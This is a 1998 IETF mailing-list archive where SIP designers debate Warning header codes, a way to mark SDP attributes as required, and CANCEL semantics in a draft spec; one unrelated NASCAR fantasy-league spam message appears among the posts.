> I suggested, to say that some SDP extension was not understood, and maybe
> Mark's suggestion for a new
> warning with "Unknown SIP header field." All in all we would have about 10
> Warnings.  As a first crack, I would
> suggest that there should be two major numbers at present:  1.x for "SIP
> warnings" and "2.x" for "SDP warnings".

Please note that SIP is independent of SDP and thus, there should be
nothing in the base spec (beyond some appendix that says how to use SDP
with SIP) that references SDP explicitly.

It would be helpful if we could describe the list of warnings we need
right now, beyond the

insufficient bandwidth
incompatible [transport] protocol
incompatible [media] format
multicast not available
unicast not available

(suggested new wordings in []) and the new

network address type not supported

and the possible

session description parameter not understood (where the warning text
would be expected to be more specific)

Example would be

Warning: 100 foo.com Session parameter "foobar" for media "audio"
(instance 1) not understood

Note that we'd probably want to use numbers outside the single/double
digits that HTTP currently occupies, just in case.

From confctrl-owner  Mon Jun 29 06:28:14 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA23096
	for confctrl-outgoing; Mon, 29 Jun 1998 06:28:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA23091
	for <confctrl@zephyr.isi.edu>; Mon, 29 Jun 1998 06:28:13 -0700 (PDT)
Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.175.134.209])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA13894
	for <confctrl@isi.edu>; Mon, 29 Jun 1998 06:26:01 -0700 (PDT)
Received: from cs.columbia.edu (wallace [193.175.132.42])
	by mailhub.fokus.gmd.de (8.8.8/8.8.8) with ESMTP id PAA19686;
	Mon, 29 Jun 1998 15:24:26 +0200 (MET DST)
Message-ID: <35979588.5B164FAF@cs.columbia.edu>
Date: Mon, 29 Jun 1998 15:24:24 +0200
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: GMD-FOKUS, Hardenbergplatz 2, 10623 Berlin, Germany
X-Mailer: Mozilla 4.05 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Scott Petrack <Scott_Petrack@vocaltec.com>
CC: mjh@ISI.EDU, confctrl@ISI.EDU, pint@lists.research.bell-labs.com
Subject: Re: Can a client make the server return an error instead of ignore an unknown?
References: <42256632.003E768E.00@il4.vocaltec.co.il>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott Petrack wrote:

> 
> We've agreed that "most of the time" if a server doesn't understand an
> attribute it doesn't return an error, although it may do so. (An current
> example might be a badly formed rtpmap line).
> 
> Is there some way for the client to request that it _wants_ the server to
> return an error if the attribute cannot
> be satisfied? As an example, the client may include an attribute line
> "a=quality:10" to request a high quality image.
> Can the client include something to say that the attribute is "required"
> and not merely "requested" -- that is,
> if the server can't deliver a high quality image, it should fail the
> request (say with 606 Request Not Acceptable).
> 
> There are many attributes where this is useful or necessary ("If I can't
> see the film in the original Swahili, I'm just not interested....").
> 
> This is a pure SDP question, but I suppose we could invent a horrible SIP
> header hack to do this.

One possibility is to say, for example:

Require: org.ietf.sip.strict-session

and then define this extension to be picky about the session
description, either in general or as described below.

How do this for a particular attribute should really be fixed at the SDP
level. Something kludgy like

a=strict:a=quality,a=payee,b

since you might want this to be media-specific.

From confctrl-owner  Mon Jun 29 06:36:14 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA23360
	for confctrl-outgoing; Mon, 29 Jun 1998 06:36:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA23355
	for <confctrl@zephyr.isi.edu>; Mon, 29 Jun 1998 06:36:13 -0700 (PDT)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA14484
	for <confctrl@isi.edu>; Mon, 29 Jun 1998 06:36:12 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id JAA25367; Mon, 29 Jun 1998 09:35:42 -0400
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Henning Schulzrinne <hgs@cs.columbia.edu>
cc: Scott Petrack <Scott_Petrack@vocaltec.com>, confctrl@ISI.EDU,
        pint@lists.research.bell-labs.com
Subject: Re: Missing Warning reasons to SIP 
In-reply-to: Your message of "Mon, 29 Jun 1998 12:17:31 +0200."
             <359769BB.3DC13881@cs.columbia.edu> 
Date: Mon, 29 Jun 1998 09:35:42 -0400
Message-ID: <25365.899127342@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>> Most other response codes don't justify warning codes because there is
>> little that can be done automatically by a UA client that receives
>> them.  If there is no *automatic* course of action the UAC can take, I
>> would expect a simple textual payload to be sufficient for debugging
>> purposes.  We don't want to add complexity to SIP with
>> additional Warning codes.  Perhaps we should define a generic warning
>> code to convey this, because often we cannot use a text/plain payload
>> as we're already obliged to carry an application/sdp payload (200 is
>> the obvious case).  So perhaps we should define a new Warning code:
>> 
>>   000.0 Generic Warning
>> 
>> The idea is that the text conveyed by the warning field explains to
>> someone attempting to debug code that something unexpected happened,
>> but that the UA client is not expected to do anything special with the
>> Warning field.  A good example of this might be with a "400 Bad
>> Request" field, where the client has erred and so you don't expect it
>> to be able to do anything automatic to fix the problem, but would at
>> least like to be able to report what exactly the problem was that the
>> server had with the request.
>
>I'm not sure I understand what you want to happen here and why the
>warning is needed. If you have a 400 (or indeed any >200) response, you
>would include a text/html or text/plain or text/special-debug-format (if
>client deemed it acceptable in an Accept header) that spells it out in
>any detail desirable.

The question was how to return warnings in a response that already
needed to carry a defined payload, without defining machine-readable
warning subcodes for everything that might ever happen.  The obvious
example is 200 responses where there is a requirement for an
application/sdp (or whatever) payload, but also possibly "482 Loop
Detected" if we define that this returns message/sip.  However, I like
your solution of returning a generic warning without a warning subtype
number in this case. So a 482 response could then return a generic

Warning: 482 example.com loop caused by encrypted Via field

to help provide additional information.

Cheers,
	Mark


From confctrl-owner  Mon Jun 29 06:50:45 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA23876
	for confctrl-outgoing; Mon, 29 Jun 1998 06:50:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA23871
	for <confctrl@zephyr.isi.edu>; Mon, 29 Jun 1998 06:50:43 -0700 (PDT)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA15489
	for <confctrl@ISI.EDU>; Mon, 29 Jun 1998 06:50:42 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id JAA25412; Mon, 29 Jun 1998 09:50:20 -0400
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: "Scott Petrack" <Scott_Petrack@vocaltec.com>
cc: confctrl@ISI.EDU, pint@lists.research.bell-labs.com
Subject: Re: Can a client make the server return an error instead of ignore an unknown? 
In-reply-to: Your message of "Mon, 29 Jun 1998 14:34:29 +0200."
             <42256632.003E768E.00@il4.vocaltec.co.il> 
Date: Mon, 29 Jun 1998 09:50:20 -0400
Message-ID: <25410.899128220@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>We've agreed that "most of the time" if a server doesn't understand an
>attribute it doesn't return an error, although it may do so. (An current
>example might be a badly formed rtpmap line).
>
>Is there some way for the client to request that it _wants_ the server to
>return an error if the attribute cannot
>be satisfied? As an example, the client may include an attribute line
>"a=quality:10" to request a high quality image.
>Can the client include something to say that the attribute is "required"
>and not merely "requested" -- that is,
>if the server can't deliver a high quality image, it should fail the
>request (say with 606 Request Not Acceptable).
>
>There are many attributes where this is useful or necessary ("If I can't
>see the film in the original Swahili, I'm just not interested....").
>
>This is a pure SDP question, but I suppose we could invent a horrible SIP
>header hack to do this.

There's no way to do this in SDP right now.  With hindsight, we should
have included some way to distinguish between required attributes and
ones that are merely a recommendation.  Not doing so was a mistake.

The problem is how to add such functionality in a backward compatible
manner?

One possibility is to define and register an SDP "require" attribute:

a=require:quality,lang

This would mean that clients that understand the require attribute
MUST also understand the quality and lang attributes to be able to
participate.  Clients that don't understand "require" would of course
not enforce the rule.

We could then make it a requirement of SIP parsers that understand SDP
to also understand the SDP "require" attribute.  When SDP goes to draft
standard, we can include "require" in the SDP spec.

This may seem a little bizarre (using an attribute to specify
attribute requirements), but it may be sufficient for our purposes,
and won't break anything existing.  Does anyone have a better
suggestion?

Cheers,
	Mark


From confctrl-owner  Mon Jun 29 09:13:55 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA29789
	for confctrl-outgoing; Mon, 29 Jun 1998 09:13:55 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA29783
	for <confctrl@zephyr.isi.edu>; Mon, 29 Jun 1998 09:13:53 -0700 (PDT)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA28289
	for <confctrl@isi.edu>; Mon, 29 Jun 1998 09:13:48 -0700 (PDT)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id TAA00609; Mon, 29 Jun 1998 19:13:07 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 42256632.005EB659 ; Mon, 29 Jun 1998 19:14:30 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: hgs@cs.columbia.edu
cc: mjh@ISI.EDU, confctrl@ISI.EDU, pint@lists.research.bell-labs.com
Message-ID: <42256632.0056BA0B.00@il4.vocaltec.co.il>
Date: Mon, 29 Jun 1998 19:11:07 +0200
Subject: Warning Codes (was: Re: Missing Warning reasons to SIP)
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk





From: Scott Petrack@VOCALTEC on 06/29/98 07:11 PM


I would be happy to have numeric codes for warnings which do one or more of
the following:

a.  Carry some general taxonomy of warning message (like the "1xx.y SIP
Warnings" and "2xx.y SDP Warnings")
b.  Carry some suggestion about what the client should do with or about the
warning (as in Henning's examples)

Maybe the minor number of the warning code could convey the "severity" of
the Warning, so that x.0 would mean
"informational" and x.5 might mean "extremely severe."

What I'd like to avoid is having the numeric codes of a Warning somehow
repeating the numeric codes of the
Response. These should be independent. I may need to use the same warning
codes in very different SIP responses.

Scott






hgs@cs.columbia.edu on 06/29/98 12:17:31 PM

To:   mjh@east.isi.edu
cc:   Scott Petrack, confctrl@isi.edu, pint@lists.research.bell-labs.com
Subject:  Re: Missing Warning reasons to SIP




Mark Handley wrote:
>
> >Ahhh. I thought that it is not necessary that a Warning: header be
> >returned in an error reponse. I thought that even a response which
denotes
> >success
> >might carry a Warning: header, to indicate, well, a warning ;-).
> >
> >So basically I agree with Mark, I just assumed that this was already
> >allowed to have
> >certain Warning returned in success responses.  I merely wanted these
> >Warnings to be "pre-defined" and agreed upon.
>
> I just re-read what the spec says, and I think you're right - we need
> to extend the wording in the description of the Warning header.  It
> should be quite acceptable to return a Warning header in a wide range
> of circumstances, not just in a "606 Not Acceptable" response.
>
> However, the only existing warnings defined are 606.x warnings - those
> that cause a failure because the recipient cannot participate in the
> session as described.
>
> "Unknown attribute" and "unknown bandwidth" would appear to be 200.x
> warnings - they don't cause an error, but it might be useful to inform
> the caller that they were ignored.
>
> Off the top of my head, useful 200.x warnings would be:
>   200.1 - Unknown SIP header field
>   200.2 - Unknown session attribute
>   200.3 - Unknown session bandwidth specifier
>
> The problem is the current usage of 606.x warnings is to return in the
> response payload a modifed session description that would be
> acceptable, not to indicate directly what is unacceptable.  Thus
> getting "200.2 Unknown session attribute" doesn't tell you which
> attribute is unacceptable, and hence isn't terribly much use.  What
> you might do is remove the attribute from the session description sent
> back to the caller, although this is somewhat subtle, and may not work
> at all for unicast calls where an attribute might only be intended to
> apply to one direction.  Thus right now I'm reluctant to add these
> warning codes until we've sorted out how to make them unambiguous.
Warnings (in the compiler sense) for 200-class responses are an
interesting idea. Note that we don't really have to standardize all of
them, either. There is nothing much that prevents somebody from sending
back a generic
Warning: 200 example.com Ignored unknown "a:foobar" attribute
Warning: 200 example.com Unknown session bandwidth specifier "bucket"
Warning: 200 example.com Ich verstehe nur Bandbreiten in kb/s
  [Assuming the server has reason to believe that the client speaks
German.]
Note that the warning text is just a guideline - you can make it more
specific and tailor it to local needs as needed.
[I'll adjust the BNF and wording accordingly.]
A more subtle problem is that the user agent doesn't currently quite
know what to do with the warnings, except display them. I would suggest
that the spec can be quiet on this, with a good user interface giving
the user three choices:
(novice) don't display warnings (or hide them behind a "show details"
button), but log them somewhere on the local system so that help staff
can find them
(regular) display warnings for codes >= 300
(expert) display all warnings
>
> Most other response codes don't justify warning codes because there is
> little that can be done automatically by a UA client that receives
> them.  If there is no *automatic* course of action the UAC can take, I
> would expect a simple textual payload to be sufficient for debugging
> purposes.  We don't want to add complexity to SIP with
> additional Warning codes.  Perhaps we should define a generic warning
> code to convey this, because often we cannot use a text/plain payload
> as we're already obliged to carry an application/sdp payload (200 is
> the obvious case).  So perhaps we should define a new Warning code:
>
>   000.0 Generic Warning
>
> The idea is that the text conveyed by the warning field explains to
> someone attempting to debug code that something unexpected happened,
> but that the UA client is not expected to do anything special with the
> Warning field.  A good example of this might be with a "400 Bad
> Request" field, where the client has erred and so you don't expect it
> to be able to do anything automatic to fix the problem, but would at
> least like to be able to report what exactly the problem was that the
> server had with the request.
I'm not sure I understand what you want to happen here and why the
warning is needed. If you have a 400 (or indeed any >200) response, you
would include a text/html or text/plain or text/special-debug-format (if
client deemed it acceptable in an Accept header) that spells it out in
any detail desirable.  A good designer will have something like:
400 Bad Request
The request sent by your client had some kind of problem that is
unlikely to be fixable by a user. Below is the technical detail:
... lots of protocol mumbo-jumbo meant to be emailed to an expert ...
>
> Looking through the list of response codes, I find very few others
> that might want to return additional information that 000.0 would
> *not* be appropriate for and that appropriate mechanisms aren't
> already defined:
>
>   "482 Loop Detected"
>      it would be good to have a way to return the path that lead to it
>      because either proxies or UA clients might be able to modify
>      their future requests to avoid the problem.  Of course doing so
>      would not be mandatory for sites that wish to hide topology.
>
>   "483 Too Many Hops"
>      as 482
>
> That was all I found.  These two don't seem to be well handled by a
> warning field.  Do we want to define an alternative mechanism?  In
> these cases, returning a payload of application/sip or
> application/quoted-sip and simply returning the Via headers as a
> payload might be an appropriate course of action.
message/sip would seem to be the appropriate type.
>
> More importantly, looking at the 606.x warnings, I find that we've
> only specified how to discover what the problem really is on the
> examples section (14.8 in the 07a draft).  We need to add text to make
> this much clearer.
Indeed.
>
> Cheers,
>         Mark
> ---------
> This message came from the IETF PINT Working Group Mailing List.
--
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 212 939-7042
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs
---------
This message came from the IETF PINT Working Group Mailing List.






From confctrl-owner  Mon Jun 29 09:33:10 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA00692
	for confctrl-outgoing; Mon, 29 Jun 1998 09:33:10 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA00687
	for <confctrl@zephyr.isi.edu>; Mon, 29 Jun 1998 09:33:09 -0700 (PDT)
Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.175.134.209])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA00018
	for <confctrl@isi.edu>; Mon, 29 Jun 1998 09:33:07 -0700 (PDT)
Received: from cs.columbia.edu (wallace [193.175.132.42])
	by mailhub.fokus.gmd.de (8.8.8/8.8.8) with ESMTP id SAA02302;
	Mon, 29 Jun 1998 18:32:34 +0200 (MET DST)
Message-ID: <3597C19F.3759CFFC@cs.columbia.edu>
Date: Mon, 29 Jun 1998 18:32:31 +0200
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: GMD-FOKUS, Hardenbergplatz 2, 10623 Berlin, Germany
X-Mailer: Mozilla 4.05 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Scott Petrack <Scott_Petrack@vocaltec.com>
CC: mjh@ISI.EDU, confctrl@ISI.EDU, pint@lists.research.bell-labs.com
Subject: Re: Warning Codes (was: Re: Missing Warning reasons to SIP)
References: <42256632.0056BA0B.00@il4.vocaltec.co.il>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott Petrack wrote:
> 
> From: Scott Petrack@VOCALTEC on 06/29/98 07:11 PM
> 
> I would be happy to have numeric codes for warnings which do one or more of
> the following:
> 
> a.  Carry some general taxonomy of warning message (like the "1xx.y SIP
> Warnings" and "2xx.y SDP Warnings")
> b.  Carry some suggestion about what the client should do with or about the
> warning (as in Henning's examples)
> 
> Maybe the minor number of the warning code could convey the "severity" of
> the Warning, so that x.0 would mean
> "informational" and x.5 might mean "extremely severe."
> 
> What I'd like to avoid is having the numeric codes of a Warning somehow
> repeating the numeric codes of the
> Response. These should be independent. I may need to use the same warning
> codes in very different SIP responses.
> 
I have tentatively added
3xx warning, did not cause request to fail
4xx error, caused failure status

2xx responses should only have 3xx warnings, obviously. Some types of
codes will have to be repeated in both 2xx and 3xx, depending on what
severity the server associates with the condition. This scheme allows to
have non-fatal warnings in a 4xx or 5xx response.

Example in a 400 response:

Warning: 3xx isi.edu "Unknown bandwidth specifier kb/mooncycle ignored"
Warning: 4xx isi.edu "Unknown transport protocol PTP"

(1xx and 2xx are taken for cache-related warnings in HTTP/1.1, so it
seemed prudent to stay clear of those.)

Comments?

From confctrl-owner  Tue Jun 30 08:00:57 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA15760
	for confctrl-outgoing; Tue, 30 Jun 1998 08:00:57 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA15752
	for <confctrl@zephyr.isi.edu>; Tue, 30 Jun 1998 08:00:55 -0700 (PDT)
Received: from mulga.cs.mu.OZ.AU (mulga.cs.mu.OZ.AU [128.250.1.22] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA28022;
	Tue, 30 Jun 1998 08:00:52 -0700 (PDT)
From: msbiz@theoffice.net
Received: from krang.vis.mu.OZ.AU (krang.vis.mu.OZ.AU [128.250.28.10]) by mulga.cs.mu.OZ.AU with SMTP
	id AAA04867; Wed, 1 Jul 1998 00:58:02 +1000 (EST)
Received: from krang.vis.mu.oz.au by krang.vis.mu.OZ.AU with SMTP (8.6.9)
	id AAA05919; Wed, 1 Jul 1998 00:55:36 +1000
Date: Tue, 30 Jun 98 10:40:09 EST
To: Friend@public.com
Subject: Attn:  All Race Fans
Message-ID: <>
Reply-To: msbiz@theoffice.net
Comments: Authenticated sender is <msbiz@theoffice.net>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Attn:  All Race Fans
From: The Makers of Fantasy Racing
Re:  Fantasy Racing Information Request

The Gold Cup
NASCAR Fantasy Racing League

Draft and Own your own NASCAR Team:
1) Pick 8 cars...the object is to accumulate the most points per race!
2) Trade up to three cars each race
3) See how they finish each week
4) Receive personalized team reports after each race
5) Win: Over $70,000 in cash and prizes annually
Including:  Tickets to the NAPA 500 in Atlanta on Nov 8, Race Scanners and Race Car
Driving School Packages!!!

Going in our sixth season, The Gold Cup has awarded $160,000!
$1,000 awarded every race
$10,000 Grand Prize

Join before July 1 and receive 2 nights in Orlando, Fl!

Your number one sport just got better. Get closer to that redline, in the wall action with
The Gold Cup Fantasy Racing League!

Fall 1998 Season:  July 4 (Pepsi 400)-November 8 (NAPA500)

http://www.goldcupracing.com

For information call 1-888-4-NASCAR from your fax machine
To sign up call 1-888-712-4653
The Gold Cup is not affiliated in any way with NASCAR or Winston Cup.  Void where
prohibited by law.

From confctrl-owner  Wed Jul  1 04:31:41 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA11860
	for confctrl-outgoing; Wed, 1 Jul 1998 04:31:41 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA11855
	for <confctrl@zephyr.isi.edu>; Wed, 1 Jul 1998 04:31:39 -0700 (PDT)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA19903
	for <confctrl@isi.edu>; Wed, 1 Jul 1998 04:31:35 -0700 (PDT)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id OAA19226 for <confctrl@isi.edu>; Wed, 1 Jul 1998 14:31:47 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 42256634.0044F63A ; Wed, 1 Jul 1998 14:33:14 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: confctrl@ISI.EDU
Message-ID: <42256634.004435E8.00@il4.vocaltec.co.il>
Date: Wed, 1 Jul 1998 14:30:20 +0200
Subject: CANCEL -- I'm totally confused
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk





From: Scott Petrack@VOCALTEC on 07/01/98 02:30 PM

Draft 7a.txt says:

Once a user agent server has received a  CANCEL, it MUST NOT issue a
   2xx response for the cancelled invitation.

A redirect server or user agent server returns 200 (OK) if the Call-
   ID exists and 481 (Invalid Call-ID) if not, but takes no further
   action. In particular, any existing call is unaffected.

Uh, doesn't the second sentence contradict the first?

What does the user agent return when it receives a CANCEL  for a call with
an existing Call-ID...
     ...in the case when the server previously returned 200 OK and the call
is in progress?
     ...in the case when the server previously returned 180 RINGING and has
never sent 200 OK?


Scott Petrack
VocalTec Communications Ltd.
petrack@vocaltec.com



From confctrl-owner  Wed Jul  1 06:36:05 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA12914
	for confctrl-outgoing; Wed, 1 Jul 1998 06:36:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA12909
	for <confctrl@zephyr.isi.edu>; Wed, 1 Jul 1998 06:36:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA24801
	for <confctrl@ISI.EDU>; Wed, 1 Jul 1998 06:36:02 -0700 (PDT)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Wed Jul  1 09:35:37 EDT 1998
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id JAA12734;
	Wed, 1 Jul 1998 09:35:33 -0400 (EDT)
Message-ID: <359A3AA0.A9C39AF3@dnrc.bell-labs.com>
Date: Wed, 01 Jul 1998 09:33:20 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Scott Petrack <Scott_Petrack@vocaltec.com>
CC: confctrl@ISI.EDU
Subject: Re: CANCEL -- I'm totally confused
References: <42256634.004435E8.00@il4.vocaltec.co.il>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott Petrack wrote:
> 
> From: Scott Petrack@VOCALTEC on 07/01/98 02:30 PM
> 
> Draft 7a.txt says:
> 
> Once a user agent server has received a  CANCEL, it MUST NOT issue a
>    2xx response for the cancelled invitation.
> 
> A redirect server or user agent server returns 200 (OK) if the Call-
>    ID exists and 481 (Invalid Call-ID) if not, but takes no further
>    action. In particular, any existing call is unaffected.
> 
> Uh, doesn't the second sentence contradict the first?

No. The idea is that CANCEL prevents further call acceptances from being
issued, but does not affect any existing 200 OK's which have already
been sent. 

> 
> What does the user agent return when it receives a CANCEL  for a call with
> an existing Call-ID...
>      ...in the case when the server previously returned 200 OK and the call
> is in progress?

It returns a 200 OK to the CANCEL.

>      ...in the case when the server previously returned 180 RINGING and has
> never sent 200 OK?

It also returns a 200 OK to the CANCEL, and must not send a 200 OK in
response to the original INVITE.

As both the CANCEL and INVITE have the same Call-ID and CSeq number, the
responses are distinguished by means of the method tag in the CSeq
header.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Jul  1 07:24:36 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA13395
	for confctrl-outgoing; Wed, 1 Jul 1998 07:24:36 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA13390
	for <confctrl@zephyr.isi.edu>; Wed, 1 Jul 1998 07:24:34 -0700 (PDT)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA26967
	for <confctrl@ISI.EDU>; Wed, 1 Jul 1998 07:24:33 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id KAA02299; Wed, 1 Jul 1998 10:24:13 -0400
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
cc: Scott Petrack <Scott_Petrack@vocaltec.com>, confctrl@ISI.EDU
Subject: Re: CANCEL -- I'm totally confused 
In-reply-to: Your message of "Wed, 01 Jul 1998 09:33:20 EDT."
             <359A3AA0.A9C39AF3@dnrc.bell-labs.com> 
Date: Wed, 01 Jul 1998 10:24:13 -0400
Message-ID: <2297.899303053@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>Scott Petrack wrote:
>> Draft 7a.txt says:
>> 
>> Once a user agent server has received a  CANCEL, it MUST NOT issue a
>>    2xx response for the cancelled invitation.
>> 
>> A redirect server or user agent server returns 200 (OK) if the Call-
>>    ID exists and 481 (Invalid Call-ID) if not, but takes no further
>>    action. In particular, any existing call is unaffected.


I'm not convinced the draft expresses CANCEL semantics clearly enough.
Let me see if I can summarise what I believe the rules are.  If we
agree this is the intention, then we can check that the draft actually
specifies the intention.


- when a SIP node sends a request, it expects to get back a response
  to all methods except ACK.  (There's no need with ACK because the UAS
  regenerates the response that triggers the ACK).

- CANCEL is unusual in that it can be originated both by UACs and by
  proxies.  Other requests are only generated by UACs.  In general
  it's generated by anyone that needs to stop further action being
  taken on any outstanding request.

- CANCEL generates a response.  The response it generates is either
  "200 OK" or "481 Invalid Call ID" depending _only_ on whether the
  call-ID is known by the responder.  The exception is if the CANCEL
  was multicast, in which case it does not generate a response to
  avoid implosions.

- SIP nodes that hold state generate a response to CANCEL.  These may
  either by a UAS or a stateful proxy.  Stateless proxies (those that
  relay deterministically and don't fork) do not need to generate a
  response to CANCEL because the CANCEL is passed straight through
  like all other requests.

- CANCEL effectively travels stateful-hop by stateful-hop.  On
  receiving a CANCEL, a proxy with callid state returns 200 OK and then
  originates its own CANCEL requests to downstream servers to which it had
  previously send the request being cancelled.  Responses to these new
  CANCEL requests don't propogate back towards the UAC because they
  were _originated_ by the proxy and so don't carry the full Via path
  that would be needed to get them back to the UAC.
	
- CANCEL cancels a call that is currently being set up.  It has no
  effect whatsoever on a UAS that has already send a 200 response to the
  INVITE (except to generate a 200 response to the CANCEL).  Thus a
  UAS that returned 200 to the INVITE but hasn't yet received an ACK
  would continue to resend a 200 response to the INVITE.  However a
  UAS that has not sent a 200 response to the INVITE is prevented from
  doing so in the future (treat this as the caller hung up).

- Servers generating reponses to the INVITE with codes of 300 or
  ngreater stop their response retransmission and clear call state
  when they get a CANCEL.

- 200 responses to INVITE and 200 responses to CANCEL are
  distinguished by the method in the Cseq header field, so there is no
  ambiguity.

I think that's it.  Henning, Eve, Jonathan, do you agree this is the
correct behaviour?

If so, does the draft say this clearly enough?

Mark

